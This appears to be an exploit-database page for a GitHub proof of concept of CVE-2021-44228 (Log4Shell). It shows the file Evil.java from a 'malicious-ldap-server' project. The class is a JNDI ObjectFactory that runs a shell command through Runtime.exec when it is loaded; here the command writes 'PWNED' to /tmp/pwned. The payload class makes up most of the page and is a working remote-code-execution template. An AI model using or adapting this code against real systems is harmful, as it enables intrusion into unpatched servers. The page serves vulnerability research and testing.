Exploit database

GH-d26f254f14fc8a0429bbb6798ca934e5

jaehnri/cve-2021-44228

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-44228

465 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

malicious-ldap-server/src/main/java/Evil.java

Suggested starting fileJava · 491 bytes
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Evil implements ObjectFactory {
    @Override
    public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        String[] cmd = {
            "/bin/sh",
            "-c",
            "echo PWNED > /tmp/pwned"
        };
        Runtime.getRuntime().exec(cmd);
        return null;
    }
}